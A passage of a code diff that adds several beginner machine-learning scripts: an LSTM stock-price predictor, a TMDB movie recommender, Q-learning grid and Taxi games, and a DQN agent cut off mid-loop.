+            self.unshuffled_y_test = result['unshuffled_y_test']
+        else:
+            self.unshuffled_X_test = self.X_test
+            self.unshuffled_y_test = self.y_test
+
+        self.original_X_test = self.unshuffled_X_test.reshape((self.unshuffled_X_test.shape[0], self.unshuffled_X_test.shape[2], -1))
+        
+        self.data_loaded = True
+        if self.verbose > 0:
+            print("[+] Data loaded")
+
+        # save the dataframe to disk
+        self.save_data()
+
+    def get_last_price(self):
+        """Returns the last price ( i.e the most recent price )"""
+        if not self.last_price:
+            self.last_price = float(self.df[self.price_column].tail(1))
+        return self.last_price
+
+    def get_test_prices(self):
+        """Returns test prices. Note that this function won't return the whole sequences,
+        instead, it'll return only the last value of each sequence"""
+        if self.test_prices is None:
+            current = np.squeeze(self.column_scaler[self.price_column].inverse_transform([[ v[-1][0] for v in self.original_X_test ]]))
+            future = np.squeeze(self.column_scaler[self.price_column].inverse_transform(np.expand_dims(self.unshuffled_y_test, axis=0)))
+            self.test_prices = np.array(list(current) + [future[-1]])
+        return self.test_prices
+
+    def get_y_pred(self):
+        """Get predicted values of the testing set of sequences ( y_pred )"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        if self.y_pred is None:
+            self.y_pred = np.squeeze(self.column_scaler[self.price_column].inverse_transform(self.model.predict(self.unshuffled_X_test)))
+        return self.y_pred
+
+    def get_y_true(self):
+        """Returns original y testing values ( y_true )"""
+        test_prices = self.get_test_prices()
+        return test_prices[1:]
+
+    def _get_shifted_y_true(self):
+        """Returns original y testing values shifted by -1.
+        This function is useful for converting to a classification problem"""
+        test_prices = self.get_test_prices()
+        return test_prices[:-1]
+
+    def _calc_classified_prices(self):
+        """Convert regression predictions to a classification predictions ( buy or sell )
+        and set results to self.classified_y_pred for predictions and self.classified_y_true 
+        for true prices"""
+        if self.classified_y_true is None or self.classified_y_pred is None:
+            current_prices = self._get_shifted_y_true()
+            future_prices = self.get_y_true()
+            predicted_prices = self.get_y_pred()
+            self.classified_y_true = list(map(classify, current_prices, future_prices))
+            self.classified_y_pred = list(map(classify, current_prices, predicted_prices))
+        
+    # some metrics
+
+    def get_MAE(self):
+        """Calculates the Mean-Absolute-Error metric of the test set"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        y_true = self.get_y_true()
+        y_pred = self.get_y_pred()
+        return mean_absolute_error(y_true, y_pred)
+
+    def get_MSE(self):
+        """Calculates the Mean-Squared-Error metric of the test set"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        y_true = self.get_y_true()
+        y_pred = self.get_y_pred()
+        return mean_squared_error(y_true, y_pred)
+
+    def get_accuracy(self):
+        """Calculates the accuracy after adding classification approach (buy/sell)"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        self._calc_classified_prices()
+        return accuracy_score(self.classified_y_true, self.classified_y_pred)
+
+    def plot_test_set(self):
+        """Plots test data"""
+        future_prices = self.get_y_true()
+        predicted_prices = self.get_y_pred()
+        plt.plot(future_prices, c='b')
+        plt.plot(predicted_prices, c='r')
+        plt.xlabel("Days")
+        plt.ylabel("Price")
+        plt.legend(["Actual Price", "Predicted Price"])
+        plt.show()
+
+    def save_data(self):
+        """Saves the updated dataframe if it does not exist"""
+        filename, exists = self._df_exists()
+        if not exists:
+            self.df.to_csv(filename)
+            if self.verbose > 0:
+                print("[+] Dataframe saved")
+
+    def _update_model_name(self):
+        stock = self.ticker_name.replace(" ", "_")
+        feature_columns_str = ''.join([ c[0] for c in self.feature_columns ])
+        time_now = time.strftime("%Y-%m-%d")
+        self.model_name = f"{time_now}_{stock}-{feature_columns_str}-loss-{self.loss}-{self.cell.__name__}-seq-{self.n_steps}-step-{self.lookup_step}-layers-{self.n_layers}-units-{self.units}"
+
+    def _get_df_name(self):
+        """Returns the updated dataframe name"""
+        time_now = time.strftime("%Y-%m-%d")
+        return f"data/{self.ticker_name}_{time_now}.csv"
+
+    def _df_exists(self):
+        """Check if the updated dataframe exists in disk, returns a tuple contains (filename, file_exists)"""
+        filename = self._get_df_name()
+        return filename, os.path.isfile(filename)
+
+    def _get_model_filename(self):
+        """Returns the relative path of this model name with h5 extension"""
+        return f"results/{self.model_name}.h5"
+
+    def _model_exists(self):
+        """Checks if model already exists in disk, returns the filename,
+        returns None otherwise"""
+        filename = self._get_model_filename()
+        return filename if os.path.isfile(filename) else None
+
+
+
+
+# uncomment below to use CPU instead of GPU
+# import os
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=4,
+#                         inter_op_parallelism_threads=4, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+
+from tensorflow.keras.layers import GRU, LSTM
+from price_prediction import PricePrediction
+
+ticker = "AAPL"
+
+p = PricePrediction(ticker, feature_columns=['adjclose', 'volume', 'open', 'high', 'low'],
+                    epochs=700, cell=LSTM, optimizer="rmsprop", n_layers=3, units=256, 
+                    loss="mse", shuffle=True, dropout=0.4)
+p.train(True)
+print(f"The next predicted price for {ticker} is {p.predict()}")
+buy_sell = p.predict(classify=True)
+print(f"you should {'sell' if buy_sell == 0 else 'buy'}.")
+
+print("Mean Absolute Error:", p.get_MAE())
+print("Mean Squared Error:", p.get_MSE())
+print(f"Accuracy: {p.get_accuracy()*100:.3f}%")
+
+p.plot_test_set()
+
+
+
+
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import LSTM, Dense, Dropout
+from sklearn import preprocessing
+from yahoo_fin import stock_info as si
+from collections import deque
+
+import pandas as pd
+import numpy as np
+import random
+
+def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, loss="mean_absolute_error", optimizer="rmsprop"):
+    model = Sequential()
+    for i in range(n_layers):
+        if i == 0:
+            # first layer
+            model.add(cell(units, return_sequences=True, input_shape=(None, input_length)))
+            model.add(Dropout(dropout))
+        elif i == n_layers -1:
+            # last layer
+            model.add(cell(units, return_sequences=False))
+            model.add(Dropout(dropout))
+        else:
+            # middle layers
+            model.add(cell(units, return_sequences=True))
+            model.add(Dropout(dropout))
+    
+    model.add(Dense(1, activation="linear"))
+    model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer)
+        
+    return model
+
+
+def load_data(ticker, n_steps=60, scale=True, split=True, balance=False, shuffle=True,
+                lookup_step=1, test_size=0.15, price_column='Price', feature_columns=['Price'],
+                target_column="future", buy_sell=False):
+    """Loads data from yahoo finance, if the ticker is a pd Dataframe,
+    it'll use it instead"""
+    if isinstance(ticker, str):
+        df = si.get_data(ticker)
+    elif isinstance(ticker, pd.DataFrame):
+        df = ticker
+    else:
+        raise TypeError("ticker can be either a str, or a pd.DataFrame instance")
+
+    result = {}
+
+    result['df'] = df.copy()
+    # make sure that columns passed is in the dataframe
+    for col in feature_columns:
+        assert col in df.columns
+    
+    column_scaler = {}
+    if scale:
+        # scale the data ( from 0 to 1 )
+        for column in feature_columns:
+            scaler = preprocessing.MinMaxScaler()
+            df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1))
+            column_scaler[column] = scaler
+        # df[column] = preprocessing.scale(df[column].values)
+
+    # add column scaler to the result
+    result['column_scaler'] = column_scaler
+
+    # add future price column ( shift by -1 )
+    df[target_column] = df[price_column].shift(-lookup_step)
+
+    # get last feature elements ( to add them to the last sequence )
+    # before deleted by df.dropna
+    last_feature_element = np.array(df[feature_columns].tail(1))
+
+    # clean NaN entries
+    df.dropna(inplace=True)
+
+    if buy_sell:
+        # convert target column to 0 (for sell -down- ) and to 1 ( for buy -up-)
+        df[target_column] = list(map(classify, df[price_column], df[target_column]))
+
+    seq_data = [] # all sequences here
+    # sequences are made with deque, which keeps the maximum length by popping out older values as new ones come in
+    sequences = deque(maxlen=n_steps)
+
+    for entry, target in zip(df[feature_columns].values, df[target_column].values):
+        sequences.append(entry)
+        if len(sequences) == n_steps:
+            seq_data.append([np.array(sequences), target])
+
+    # get the last sequence for future predictions
+    last_sequence = np.array(sequences)
+    # shift the sequence, one element is missing ( deleted by dropna )
+    last_sequence = shift(last_sequence, -1)
+    # fill the last element
+    last_sequence[-1] = last_feature_element
+
+    # add last sequence to results
+    result['last_sequence'] = last_sequence
+
+    if buy_sell and balance:
+        buys, sells = [], []
+        for seq, target in seq_data:
+            if target == 0:
+                sells.append([seq, target])
+            else:
+                buys.append([seq, target])
+
+        # balancing the dataset
+        
+        lower_length = min(len(buys), len(sells))
+
+        buys = buys[:lower_length]
+        sells = sells[:lower_length]
+
+        seq_data = buys + sells
+
+    if shuffle:
+        unshuffled_seq_data = seq_data.copy()
+        # shuffle data
+        random.shuffle(seq_data)
+
+    X, y = [], []
+    for seq, target in seq_data:
+        X.append(seq)
+        y.append(target)
+
+    X = np.array(X)
+    y = np.array(y)
+
+    if shuffle:
+        unshuffled_X, unshuffled_y = [], []
+        for seq, target in unshuffled_seq_data:
+            unshuffled_X.append(seq)
+            unshuffled_y.append(target)
+        
+        unshuffled_X = np.array(unshuffled_X)
+        unshuffled_y = np.array(unshuffled_y)
+
+        unshuffled_X = unshuffled_X.reshape((unshuffled_X.shape[0], unshuffled_X.shape[2], unshuffled_X.shape[1]))
+
+    X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
+
+    if not split:
+        # return original_df, X, y, column_scaler, last_sequence
+        result['X'] = X
+        result['y'] = y
+        return result
+    else:
+        # split dataset into training and testing
+        n_samples = X.shape[0]
+        train_samples = int(n_samples * (1 - test_size))
+        result['X_train'] = X[:train_samples]
+        result['X_test'] = X[train_samples:]
+        result['y_train'] = y[:train_samples]
+        result['y_test'] = y[train_samples:]
+        if shuffle:
+            result['unshuffled_X_test'] = unshuffled_X[train_samples:]
+            result['unshuffled_y_test'] = unshuffled_y[train_samples:]
+        return result
+
+# from sentdex
+def classify(current, future):
+    if float(future) > float(current):  # if the future price is higher than the current, that's a buy, or a 1
+        return 1
+    else:  # otherwise... it's a 0!
+        return 0
+
+
+def shift(arr, num, fill_value=np.nan):
+    result = np.empty_like(arr)
+    if num > 0:
+        result[:num] = fill_value
+        result[num:] = arr[:-num]
+    elif num < 0:
+        result[num:] = fill_value
+        result[:num] = arr[-num:]
+    else:
+        result = arr
+    return result
+
+
+
+
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+import seaborn as sns
+from sklearn.feature_extraction.text import TfidfVectorizer
+
+movies_path = r"E:\datasets\recommender_systems\tmdb_5000_movies.csv"
+credits_path = r"E:\datasets\recommender_systems\tmdb_5000_credits.csv"
+
+credits = pd.read_csv(credits_path)
+movies  = pd.read_csv(movies_path)
+
+# rename movie_id to id to merge dataframes later
+credits = credits.rename(index=str, columns={'movie_id': 'id'})
+
+# join on movie id column
+movies = movies.merge(credits, on="id")
+
+# drop useless columns
+movies = movies.drop(columns=['homepage', 'title_x', 'title_y', 'status', 'production_countries'])
+
+# number of votes of the movie
+V = movies['vote_count']
+# rating average of the movie from 0 to 10
+R = movies['vote_average']
+# the mean vote across the whole report
+C = movies['vote_average'].mean()
+# minimum votes required to be listed in the top 250
+m = movies['vote_count'].quantile(0.7)
+
+movies['weighted_average'] = (V/(V+m) * R) + (m/(m+V) * C)
+
+# ranked movies
+
+wavg = movies.sort_values('weighted_average', ascending=False)
+
+plt.figure(figsize=(16,6))
+
+ax = sns.barplot(x=wavg['weighted_average'].head(10), y=wavg['original_title'].head(10), data=wavg, palette='deep')
+
+plt.xlim(6.75, 8.35)
+plt.title('"Best" Movies by TMDB Votes', weight='bold')
+plt.xlabel('Weighted Average Score', weight='bold')
+plt.ylabel('Movie Title', weight='bold')
+
+plt.savefig('best_movies.png')
+
+popular = movies.sort_values('popularity', ascending=False)
+
+plt.figure(figsize=(16,6))
+
+ax = sns.barplot(x=popular['popularity'].head(10), y=popular['original_title'].head(10), data=popular, palette='deep')
+
+plt.title('"Most Popular" Movies by TMDB Votes', weight='bold')
+plt.xlabel('Popularity Score', weight='bold')
+plt.ylabel('Movie Title', weight='bold')
+
+plt.savefig('popular_movies.png')
+
+############ Content-Based ############
+# filling NaNs with empty string
+movies['overview'] = movies['overview'].fillna('')
+
+tfv = TfidfVectorizer(min_df=3,  max_features=None, 
+            strip_accents='unicode', analyzer='word',token_pattern=r'\w{1,}',
+            ngram_range=(1, 3), use_idf=1,smooth_idf=1,sublinear_tf=1,
+            stop_words = 'english')
+
+tfv_matrix = tfv.fit_transform(movies['overview'])
+print(tfv_matrix.shape)
+print(tfv_matrix)
+
+
+
+
+import numpy as np
+from PIL import Image
+import cv2 # showing the env
+import matplotlib.pyplot as plt
+import pickle
+from matplotlib import style
+import time
+import os
+from collections.abc import Iterable
+
+style.use("ggplot")
+
+GRID_SIZE = 10
+
+# how many episodes 
+EPISODES = 1_000
+# how many steps in the env
+STEPS = 200
+
+# Rewards for differents events
+MOVE_REWARD = -1
+ENEMY_REWARD = -300
+FOOD_REWARD = 30
+
+epsilon = 0 # for randomness, it'll decay over time by EPSILON_DECAY
+EPSILON_DECAY = 0.999993 # every episode, epsilon *= EPSILON_DECAY
+
+SHOW_EVERY = 1
+
+q_table = f"qtable-grid-{GRID_SIZE}-steps-{STEPS}.npy" # put here pretrained model ( if exists )
+
+LEARNING_RATE = 0.1
+DISCOUNT = 0.95
+
+PLAYER_CODE = 1
+FOOD_CODE = 2
+ENEMY_CODE = 3
+
+# blob dict, for colors
+COLORS = {
+    PLAYER_CODE: (255, 120, 0), # blueish color
+    FOOD_CODE:   (0, 255, 0), # green
+    ENEMY_CODE:  (0, 0, 255), # red
+}
+
+
+ACTIONS = {
+    0: (0, 1),
+    1: (-1, 0),
+    2: (0, -1),
+    3: (1, 0)
+}
+
+N_ENEMIES = 2
+
+def get_observation(cords):
+    obs = []
+    for item1 in cords:
+        for item2 in item1:
+            obs.append(item2+GRID_SIZE-1)
+    return tuple(obs)
+
+
+class Blob:
+    def __init__(self, name=None):
+        self.x = np.random.randint(0, GRID_SIZE)
+        self.y = np.random.randint(0, GRID_SIZE)
+        self.name = name if name else "Blob"
+
+    def __sub__(self, other):
+        return (self.x - other.x, self.y - other.y)
+
+    def __str__(self):
+        return f"<{self.name.capitalize()} x={self.x}, y={self.y}>"
+
+    def move(self, x=None, y=None):
+        # if x is None, move randomly
+        if x is None:
+            self.x += np.random.randint(-1, 2)
+        else:
+            self.x += x
+        
+        # if y is None, move randomly
+        if y is None:
+            self.y += np.random.randint(-1, 2)
+        else:
+            self.y += y
+
+        # out of bound fix
+        if self.x < 0:
+            # self.x = GRID_SIZE-1
+            self.x = 0
+        elif self.x > GRID_SIZE-1:
+            # self.x = 0
+            self.x = GRID_SIZE-1
+        
+        if self.y < 0:
+            # self.y = GRID_SIZE-1
+            self.y = 0
+        elif self.y > GRID_SIZE-1:
+            # self.y = 0
+            self.y = GRID_SIZE-1
+
+    def take_action(self, choice):
+        # if choice == 0:
+        #     self.move(x=1, y=1)
+        # elif choice == 1:
+        #     self.move(x=-1, y=-1)
+        # elif choice == 2:
+        #     self.move(x=-1, y=1)
+        # elif choice == 3:
+        #     self.move(x=1, y=-1)
+        for code, (move_x, move_y) in ACTIONS.items():
+            if choice == code:
+                self.move(x=move_x, y=move_y)
+        # if choice == 0:
+        #     self.move(x=1, y=0)
+        # elif choice == 1:
+        #     self.move(x=0, y=1)
+        # elif choice == 2:
+        #     self.move(x=-1, y=0)
+        # elif choice == 3:
+        #     self.move(x=0, y=-1)
+
+# construct the q_table if not already trained
+if q_table is None or not os.path.isfile(q_table):
+    # q_table = {}
+    # # for every possible combination of the distance of the player
+    # # to both the food and the enemy
+    # for i in range(-GRID_SIZE+1, GRID_SIZE):
+    #     for ii in range(-GRID_SIZE+1, GRID_SIZE):
+    #         for iii in range(-GRID_SIZE+1, GRID_SIZE):
+    #             for iiii in range(-GRID_SIZE+1, GRID_SIZE):
+    #                 q_table[(i, ii), (iii, iiii)] = np.random.uniform(-5, 0, size=len(ACTIONS))
+    q_table = np.random.uniform(-5, 0, size=[GRID_SIZE*2-1]*(2+2*N_ENEMIES) + [len(ACTIONS)])
+else:
+    # the q table already exists
+    print("Loading Q-table")
+    q_table = np.load(q_table)
+
+
+# this list for tracking rewards
+episode_rewards = []
+
+# game loop
+for episode in range(EPISODES):
+    # initialize our blobs ( squares )
+    player = Blob("Player")
+    food   = Blob("Food")
+    enemy1 = Blob("Enemy1")
+    enemy2 = Blob("Enemy2")
+
+    if episode % SHOW_EVERY == 0:
+        print(f"[{episode:05}] ep: {epsilon:.4f} reward mean: {np.mean(episode_rewards[-SHOW_EVERY:])} alpha={LEARNING_RATE}")
+        show = True
+    else:
+        show = False
+    
+    episode_reward = 0
+    for i in range(STEPS):
+        # get the observation
+        obs = get_observation((player - food, player - enemy1, player - enemy2))
+        # Epsilon-greedy policy
+        if np.random.random() > epsilon:
+            # get the action from the q table
+            action = np.argmax(q_table[obs])
+        else:
+            # random action
+            action = np.random.randint(0, len(ACTIONS))
+        # take the action
+        player.take_action(action)
+
+        #### MAYBE ###
+        #enemy.move()
+        #food.move()
+        ##############
+        food.move()
+        enemy1.move()
+        enemy2.move()
+
+        ### for rewarding
+        if player.x == enemy1.x and player.y == enemy1.y:
+            # if it hit the enemy, punish
+            reward = ENEMY_REWARD
+        elif player.x == enemy2.x and player.y == enemy2.y:
+            # if it hit the enemy, punish
+            reward = ENEMY_REWARD
+        elif player.x == food.x and player.y == food.y:
+            # if it hit the food, reward
+            reward = FOOD_REWARD
+        else:
+            # else, punish it a little for moving
+            reward = MOVE_REWARD
+
+        ### calculate the Q
+        # get the future observation after taking action
+        future_obs = get_observation((player - food, player - enemy1, player - enemy2))
+        # get the max future Q value (SarsaMax algorithm)
+        # SARSA = State0, Action0, Reward0, State1, Action1
+        max_future_q = np.max(q_table[future_obs])
+        # get the current Q
+        current_q = q_table[obs][action]
+        # calculate the new Q
+        if reward == FOOD_REWARD:
+            new_q = FOOD_REWARD
+        else:
+            # value iteration update
+            # https://en.wikipedia.org/wiki/Q-learning
+            # Calculate the Temporal-Difference target
+            td_target = reward + DISCOUNT * max_future_q
+            # Temporal-Difference
+            new_q = (1 - LEARNING_RATE) * current_q + LEARNING_RATE * td_target
+
+        # update the q
+        q_table[obs][action] = new_q
+
+
+        if show:
+            env = np.zeros((GRID_SIZE, GRID_SIZE, 3), dtype=np.uint8)
+            # set food blob to green
+            env[food.x][food.y] = COLORS[FOOD_CODE]
+            # set the enemy blob to red
+            env[enemy1.x][enemy1.y] = COLORS[ENEMY_CODE]
+            env[enemy2.x][enemy2.y] = COLORS[ENEMY_CODE]
+            # set the player blob to blueish
+            env[player.x][player.y] = COLORS[PLAYER_CODE]
+            # get the image
+            image = Image.fromarray(env, 'RGB')
+            image = image.resize((600, 600))
+            # show the image
+            cv2.imshow("image", np.array(image))
+            if reward == FOOD_REWARD or reward == ENEMY_REWARD:
+                if cv2.waitKey(500) == ord('q'):
+                    break
+            else:
+                if cv2.waitKey(100) == ord('q'):
+                    break
+        
+        episode_reward += reward
+        if reward == FOOD_REWARD or reward == ENEMY_REWARD:
+            break
+        
+    episode_rewards.append(episode_reward)
+    # decay a little randomness in each episode
+    epsilon *= EPSILON_DECAY
+    
+
+
+# with open(f"qtable-{int(time.time())}.pickle", "wb") as f:
+#     pickle.dump(q_table, f)
+np.save(f"qtable-grid-{GRID_SIZE}-steps-{STEPS}", q_table)
+
+moving_avg = np.convolve(episode_rewards, np.ones((SHOW_EVERY,))/SHOW_EVERY, mode='valid')
+plt.plot([i for i in range(len(moving_avg))], moving_avg)
+plt.ylabel(f"Avg Reward every {SHOW_EVERY}")
+plt.xlabel("Episode")
+plt.show()
+
+
+
+
+import numpy as np
+import gym
+import random
+import matplotlib.pyplot as plt
+import os
+import time
+
+env = gym.make("Taxi-v2").env
+
+# init the Q-Table
+# (500x6) matrix (n_states x n_actions)
+q_table = np.zeros((env.observation_space.n, env.action_space.n))
+
+# Hyper Parameters
+# alpha
+LEARNING_RATE = 0.1
+# gamma
+DISCOUNT_RATE = 0.9
+EPSILON = 0.9
+EPSILON_DECAY = 0.99993
+
+EPISODES = 100_000
+SHOW_EVERY = 1_000
+
+# for plotting metrics
+all_epochs = []
+all_penalties = []
+all_rewards = []
+
+for i in range(EPISODES):
+    
+    # reset the env
+    state = env.reset()
+
+    epochs, penalties, rewards = 0, 0, []
+    done = False
+
+    while not done:
+        if random.random() < EPSILON:
+            # exploration
+            action = env.action_space.sample()
+        else:
+            # exploitation
+            action = np.argmax(q_table[state])
+
+        next_state, reward, done, info = env.step(action)
+
+        old_q = q_table[state, action]
+        future_q = np.max(q_table[next_state])
+
+        # calculate the new Q ( Q-Learning equation, i.e SARSAMAX )
+        new_q = (1 - LEARNING_RATE) * old_q + LEARNING_RATE * ( reward + DISCOUNT_RATE * future_q)
+        # update the new Q
+        q_table[state, action] = new_q
+
+        if reward == -10:
+            penalties += 1
+        
+        state = next_state
+        epochs += 1
+        rewards.append(reward)
+
+    
+
+    if i % SHOW_EVERY == 0:
+        print(f"[{i}] avg reward:{np.average(all_rewards):.4f} eps:{EPSILON:.4f}")
+        # env.render()
+
+    all_epochs.append(epochs)
+    all_penalties.append(penalties)
+    all_rewards.append(np.average(rewards))
+
+    EPSILON *= EPSILON_DECAY
+
+# env.render()
+# plt.plot(list(range(len(all_rewards))), all_rewards)
+# plt.show()
+
+print("Playing in 5 seconds...")
+time.sleep(5)
+os.system("cls") if "nt" in os.name else os.system("clear")
+# render
+
+state = env.reset()
+done = False
+while not done:
+    action = np.argmax(q_table[state])
+    state, reward, done, info = env.step(action)
+    env.render()
+    time.sleep(0.2)
+    os.system("cls") if "nt" in os.name else os.system("clear")
+    
+env.render()
+
+
+
+
+import cv2
+from PIL import Image
+
+import os
+# to use CPU uncomment below code
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+import random
+import gym
+import numpy as np
+import matplotlib.pyplot as plt
+from collections import deque
+from keras.models import Sequential
+from keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Activation, Flatten
+from keras.optimizers import Adam
+
+
+EPISODES = 5_000
+REPLAY_MEMORY_MAX = 20_000
+MIN_REPLAY_MEMORY = 1_000
+
+SHOW_EVERY = 50
+RENDER_EVERY = 100
+LEARN_EVERY = 50
+
+GRID_SIZE = 20
+ACTION_SIZE = 9
+
+
+class Blob:
+    def __init__(self, size):
+        self.size = size
+        self.x = np.random.randint(0, size)
+        self.y = np.random.randint(0, size)
+
+    def __str__(self):
+        return f"Blob ({self.x}, {self.y})"
+
+    def __sub__(self, other):
+        return (self.x-other.x, self.y-other.y)
+
+    def __eq__(self, other):
+        return self.x == other.x and self.y == other.y
+
+    def action(self, choice):
+        '''
+        Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8)
+        '''
+        if choice == 0:
+            self.move(x=1, y=1)
+        elif choice == 1:
+            self.move(x=-1, y=-1)
+        elif choice == 2:
+            self.move(x=-1, y=1)
+        elif choice == 3:
+            self.move(x=1, y=-1)
+
+        elif choice == 4:
+            self.move(x=1, y=0)
+        elif choice == 5:
+            self.move(x=-1, y=0)
+
+        elif choice == 6:
+            self.move(x=0, y=1)
+        elif choice == 7:
+            self.move(x=0, y=-1)
+
+        elif choice == 8:
+            self.move(x=0, y=0)
+
+    def move(self, x=False, y=False):
+
+        # If no value for x, move randomly
+        if not x:
+            self.x += np.random.randint(-1, 2)
+        else:
+            self.x += x
+
+        # If no value for y, move randomly
+        if not y:
+            self.y += np.random.randint(-1, 2)
+        else:
+            self.y += y
+
+        # If we are out of bounds, fix!
+        if self.x < 0:
+            self.x = 0
+        elif self.x > self.size-1:
+            self.x = self.size-1
+        if self.y < 0:
+            self.y = 0
+        elif self.y > self.size-1:
+            self.y = self.size-1
+
+
+class BlobEnv:
+    RETURN_IMAGES = True
+    MOVE_PENALTY = 1
+    ENEMY_PENALTY = 300
+    FOOD_REWARD = 25
+    
+    ACTION_SPACE_SIZE = 9
+    PLAYER_N = 1  # player key in dict
+    FOOD_N = 2  # food key in dict
+    ENEMY_N = 3  # enemy key in dict
+    # the dict! (colors)
+    d = {1: (255, 175, 0),
+         2: (0, 255, 0),
+         3: (0, 0, 255)}
+
+    def __init__(self, size):
+        self.SIZE = size
+        self.OBSERVATION_SPACE_VALUES = (self.SIZE, self.SIZE, 3)  # 4
+
+    def reset(self):
+        self.player = Blob(self.SIZE)
+        self.food = Blob(self.SIZE)
+        while self.food == self.player:
+            self.food = Blob(self.SIZE)
+        self.enemy = Blob(self.SIZE)
+        while self.enemy == self.player or self.enemy == self.food:
+            self.enemy = Blob(self.SIZE)
+
+        self.episode_step = 0
+
+        if self.RETURN_IMAGES:
+            observation = np.array(self.get_image())
+        else:
+            observation = (self.player-self.food) + (self.player-self.enemy)
+        return observation
+
+    def step(self, action):
+        self.episode_step += 1
+        self.player.action(action)
+
+        #### MAYBE ###
+        #enemy.move()
+        #food.move()
+        ##############
+
+        if self.RETURN_IMAGES:
+            new_observation = np.array(self.get_image())
+        else:
+            new_observation = (self.player-self.food) + (self.player-self.enemy)
+
+        if self.player == self.enemy:
+            reward = -self.ENEMY_PENALTY
+            done = True
+        elif self.player == self.food:
+            reward = self.FOOD_REWARD
+            done = True
+        else:
+            reward = -self.MOVE_PENALTY
+            if self.episode_step < 200:
+                done = False
+            else:
+                done = True
+
+        return new_observation, reward, done
+
+    def render(self):
+        img = self.get_image()
+        img = img.resize((300, 300))  # resizing so we can see our agent in all its glory.
+        cv2.imshow("image", np.array(img))  # show it!
+        cv2.waitKey(1)
+
+    # FOR CNN #
+    def get_image(self):
+        env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8)  # starts an rbg of our size
+        env[self.food.x][self.food.y] = self.d[self.FOOD_N]  # sets the food location tile to green color
+        env[self.enemy.x][self.enemy.y] = self.d[self.ENEMY_N]  # sets the enemy location to red
+        env[self.player.x][self.player.y] = self.d[self.PLAYER_N]  # sets the player tile to blue
+        img = Image.fromarray(env, 'RGB')  # reading to rgb. Apparently. Even tho color definitions are bgr. ???
+        return img
+
+
+class DQNAgent:
+    def __init__(self, state_size, action_size):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.memory = deque(maxlen=REPLAY_MEMORY_MAX)
+        # discount rate
+        self.gamma = 0.95
+        # exploration rate
+        self.epsilon = 1.0
+        self.epsilon_min = 0.01
+        self.epsilon_decay = 0.9997
+        self.learning_rate = 0.001
+        # models to be built
+        # Dual
+        self.model = self.build_model()
+        self.target_model = self.build_model()
+        self.update_target_model()
+
+    def build_model(self):
+        """Builds the DQN Model"""
+        # Neural network for Deep-Q Learning Model
+        model = Sequential()
+        model.add(Conv2D(256, (3, 3), input_shape=self.state_size))
+        model.add(Activation("relu"))
+        model.add(MaxPooling2D(pool_size=(2, 2)))
+        model.add(Dropout(0.2))
+
+        model.add(Conv2D(256, (3, 3)))
+        model.add(Activation("relu"))
+        model.add(MaxPooling2D(pool_size=(2, 2)))
+        model.add(Dropout(0.2))
+
+        model.add(Flatten())  # this converts our 3D feature maps to 1D feature vectors
+        model.add(Dense(32))
+        # output layer
+        model.add(Dense(self.action_size, activation="linear"))
+        model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate))
+        return model
+
+    def update_target_model(self):
+        """Copy weights from self.model to self.target_model"""
+        self.target_model.set_weights(self.model.get_weights())
+    
+    def remember(self, state, action, reward, next_state, done):
+        """Adds a sample to the memory"""
+        # for images, expand dimension, comment if you are not using images as states
+        state = state / 255
+        next_state = next_state / 255
+        state = np.expand_dims(state, axis=0)
+        next_state = np.expand_dims(next_state, axis=0)
+        self.memory.append((state, action, reward, next_state, done))
+
+    def act(self, state):
+        """Takes action using Epsilon-Greedy Policy"""
+        if np.random.random() <= self.epsilon:
+            return random.randint(0, self.action_size-1)
+        else:
+            state = state / 255
+            state = np.expand_dims(state, axis=0)
+            act_values = self.model.predict(state)
+            # print("act_values:", act_values.shape)
+            return np.argmax(act_values[0])
+
+    def replay(self, batch_size):
+        """Train on a replay memory with a batch_size of samples"""
+        if len(self.memory) < MIN_REPLAY_MEMORY:
+            return
+        minibatch = random.sample(self.memory, batch_size)
+        for state, action, reward, next_state, done in minibatch:
+            target = reward
+            if not done:
+                target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) )
+            target_f = self.model.predict(state)
+            target_f[0][action] = target
+            self.model.fit(state, target_f, epochs=1, verbose=0, batch_size=1)
+        # decay epsilon if possible
+        self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min)
+
+    def load(self, name):
+        self.model.load_weights(name)
+        self.target_model.load_weights(name)
+
+    def save(self, name):
+        self.model.save_weights(name)
+        self.target_model.save_weights(name)
+
+
+if __name__ == "__main__":
+    batch_size = 64
+    env = BlobEnv(GRID_SIZE)
+    agent = DQNAgent(env.OBSERVATION_SPACE_VALUES, ACTION_SIZE)
+    ep_rewards = deque([-200], maxlen=SHOW_EVERY)
+    avg_rewards = []
+    min_rewards = []
+    max_rewards = []
+    for episode in range(1, EPISODES+1):
+        # restarting episode => reset episode reward and step number
+        episode_reward = 0
+        step = 1
+
+        # reset env and get init state
+        current_state = env.reset()
+
+        done = False
+        while True:
+            # take action 
+            action = agent.act(current_state)
+            next_state, reward, done = env.step(action)
+
+            episode_reward += reward
+
